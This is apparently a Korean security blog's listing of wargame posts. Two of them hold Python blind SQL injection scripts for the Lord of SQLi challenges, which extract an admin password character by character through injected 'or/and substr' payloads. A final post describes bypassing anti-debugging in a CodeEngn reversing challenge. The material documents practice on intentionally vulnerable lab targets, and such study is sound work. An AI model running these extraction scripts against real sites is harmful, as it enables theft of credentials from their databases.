'Wargame'에 해당되는 글 454건

LOS vampire

Wargame/Lord of SQL 2018. 2. 8. 21:01

 

'Wargame > Lord of SQL' 카테고리의 다른 글

LOS golem  (0) 2018.02.08
LOS skeleton  (0) 2018.02.08
LOS troll  (0) 2018.02.08
LOS orge  (0) 2018.02.08
LOS darkelf  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

LOS troll

Wargame/Lord of SQL 2018. 2. 8. 21:00

 

'Wargame > Lord of SQL' 카테고리의 다른 글

LOS skeleton  (0) 2018.02.08
LOS vampire  (0) 2018.02.08
LOS orge  (0) 2018.02.08
LOS darkelf  (0) 2018.02.08
LOS wolfman  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

LOS orge

Wargame/Lord of SQL 2018. 2. 8. 20:59
import urllib2

def request(data):
url = "https://los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw="+urllib2.quote(data)
req = urllib2.Request(url)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
req.add_header('Cookie','__cfduid=d8ef4b715b1243db43a171dd9c1503f641517927129; PHPSESSID=dp23m3nrh8cfflj2iga3np4t46')
response = urllib2.urlopen(req).read()

if "Hello admin" in str(response):
return True
else:
return False

length = 0
admin_pw = ""
strings = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!_@"

for i in range(0,50):
payload = "' || id='admin' && length(pw)="+str(i)+"#"
if request(payload)==True:
length = i
break

print "[*]Admin Password Length = " + str(length)


for j in range(1,length+1):
for i in range(0,len(strings)):
payload = "' || id='admin' && substr(pw,"+str(j)+",1) like '"+strings[i]+"%'#"
if request(payload)==True:
admin_pw += strings[i]
print "[-]Admin Password = " + admin_pw
break

print "[*]Admin Password = " + admin_pw











 

'Wargame > Lord of SQL' 카테고리의 다른 글

LOS vampire  (0) 2018.02.08
LOS troll  (0) 2018.02.08
LOS darkelf  (0) 2018.02.08
LOS wolfman  (0) 2018.02.08
LOS orc  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

LOS darkelf

Wargame/Lord of SQL 2018. 2. 8. 20:52

 

'Wargame > Lord of SQL' 카테고리의 다른 글

LOS troll  (0) 2018.02.08
LOS orge  (0) 2018.02.08
LOS wolfman  (0) 2018.02.08
LOS orc  (0) 2018.02.08
LOS goblin  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

LOS wolfman

Wargame/Lord of SQL 2018. 2. 8. 20:51

 

'Wargame > Lord of SQL' 카테고리의 다른 글

LOS orge  (0) 2018.02.08
LOS darkelf  (0) 2018.02.08
LOS orc  (0) 2018.02.08
LOS goblin  (0) 2018.02.08
LOS cobolt  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

LOS orc

Wargame/Lord of SQL 2018. 2. 8. 20:49
import urllib2

def request(data):
url = "https://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw="+urllib2.quote(data)
req = urllib2.Request(url)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
req.add_header('Cookie','__cfduid=d8ef4b715b1243db43a171dd9c1503f641517927129; PHPSESSID=dp23m3nrh8cfflj2iga3np4t46')
response = urllib2.urlopen(req).read()

if "Hello admin" in str(response):
return True
else:
return False

length = 0
admin_pw = ""

for i in range(0,50):
payload = "' or id='admin' and length(pw)="+str(i)+"#"
if request(payload)==True:
length = i
break

print "[*]Admin Password Length = " + str(length)


for j in range(1,length+1):
for i in range(0,128):
payload = "' or id='admin' and ascii(substr(pw,"+str(j)+",1))="+str(i)+"#"
if request(payload)==True:
admin_pw += chr(i)
print "[-]Admin Password = " + admin_pw
break

print "[*]Admin Password = " + admin_pw

'Wargame > Lord of SQL' 카테고리의 다른 글

LOS darkelf  (0) 2018.02.08
LOS wolfman  (0) 2018.02.08
LOS goblin  (0) 2018.02.08
LOS cobolt  (0) 2018.02.08
LOS gremlin  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

LOS goblin

Wargame/Lord of SQL 2018. 2. 8. 20:46

 

'Wargame > Lord of SQL' 카테고리의 다른 글

LOS darkelf  (0) 2018.02.08
LOS wolfman  (0) 2018.02.08
LOS orc  (0) 2018.02.08
LOS cobolt  (0) 2018.02.08
LOS gremlin  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

LOS cobolt

Wargame/Lord of SQL 2018. 2. 8. 20:46

 

'Wargame > Lord of SQL' 카테고리의 다른 글

LOS darkelf  (0) 2018.02.08
LOS wolfman  (0) 2018.02.08
LOS orc  (0) 2018.02.08
LOS goblin  (0) 2018.02.08
LOS gremlin  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

LOS gremlin

Wargame/Lord of SQL 2018. 2. 8. 20:45

최근 SQL Injection 자체 개발 툴을 만들다가 개념 정리도좀 할겸 LOS를 다시 풀어보기로 했다. 예전에 보안공부 시작한지 얼마안되서 풀었을때 많이 배우기도 했고 풀면서 고생도 많이했던 워게임이라 일년사이에 얼마나 실력이 늘었을지 점검도 하고 CTF 풀 때 문제 푸는 시간 단축도 할 겸 빡집중해서 풀어봐야겠다.

 

풀고나서 페이로드만 올리는 식으로 정리하고 전체다 푸는데 얼마나 시간이 걸릴지 재봐야겠다.   

시작시간 = 2018-02-08 20:39

 

 

 

 

'Wargame > Lord of SQL' 카테고리의 다른 글

LOS darkelf  (0) 2018.02.08
LOS wolfman  (0) 2018.02.08
LOS orc  (0) 2018.02.08
LOS goblin  (0) 2018.02.08
LOS cobolt  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

군생활 구하면 된다.


실행해보면 확인버튼 누를때마다 1씩 증가한다. 군생활 일수만큼 증가하면 될 것 같다.

안티디버깅 걸려있다. EAX값 바꿔서 우회하면 된다.

그다음 메시지 박스 띄우는 부분에 일수값이 인자로 들어갈거기 때문에 모든 메시지 박스 띄우는 함수에 BP걸고 돌렸더니 다음부분이 나왔다.

일수값이 세팅된 023EE970 영역에 하드웨어 BP걸고 값이 증가하는 부분을 찾아봤다.

해당 영역에서 값이 1증가한 상태로 잡히는걸 볼 수 있고 008BF820 지점에서 이미 증가한 값이 세팅된 체로 존재해 해당 지점에 다시 하드웨어 BP걸고 돌려봤다.

쭉 트레이싱 하다 보면 다음 포인트에서 값이 증가되어있는데 해당 지점에 오기전에 이미 EAX값에 증가된 값이 세팅되어 있기 때문에 스택 참고해서 해당 지점 호출하는 곳으로 가봤다.

위의 사진부분을 콜하는 함수 지점인데 위쪽을 보면 EAX값 세팅할때  참조하는 메모리 주소를 보니 008BF808이란 지점이었고 이 지점에 하드웨어 BP 걸고 다시 돌려봤다.

 

쭉 트레이싱하다보면 해당지점에서 PUSH EAX로 하드웨어 BP 걸어논 메모리에 증가된 값이 들어오고 ECX값이 세팅되는 023EE920을 다시 하드웨어 BP걸고 돌려봤다.


다시 트레이싱 하다보면 다음지점에서 EBX값의 메모리주소 영역에 EDX에서 세팅된 값이 들어오는데 EDX값은 EDI값의 메모리주소영역인 023E4FB8의 들어있는 값으로 세팅되었었다. 023E4FB8 지점에 다시 하드웨어 BP를 걸고 돌려봤다. 

해당 지점에서 멈추는데 LEA EBP, [EDI+EAX] 부분을 통해  1 증가된 값이 세팅되었다. 드디어 값이 최초로 세팅되는 지점을 찾았고 그럼 이 함수 부분이 리턴되고나서 이 증가된 값을 기준 군대날과 비교해서 프로그램 실행흐름이 나뉘어질거라고 생각했다.

쭉 트레이싱하다보면 리턴 후 다음 부분에서 ESI에 담긴 증가된 값을 EAX에 넣은 후 EBP에 있는 값(790일)과 비교하는걸 볼수 있었다. EAX값을 791로 바꿔서 원래 흐름과 다르게 점프하도록 해봤더니 메시지 박스가 안뜨고 프로그램이 종료된걸 확인할 수 있었다.

790을 md5로 바꿔서 인증해봤더니 정상적으로 인증이 되었다.


'Wargame > CodeEngn' 카테고리의 다른 글

CodeEngn advance 8번  (0) 2018.02.28
CodeEngn advance 7번  (0) 2018.02.28
code engn advance 5번  (0) 2018.02.08
code engn advance 4번  (0) 2018.02.08
code engn advance 3번  (0) 2018.02.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,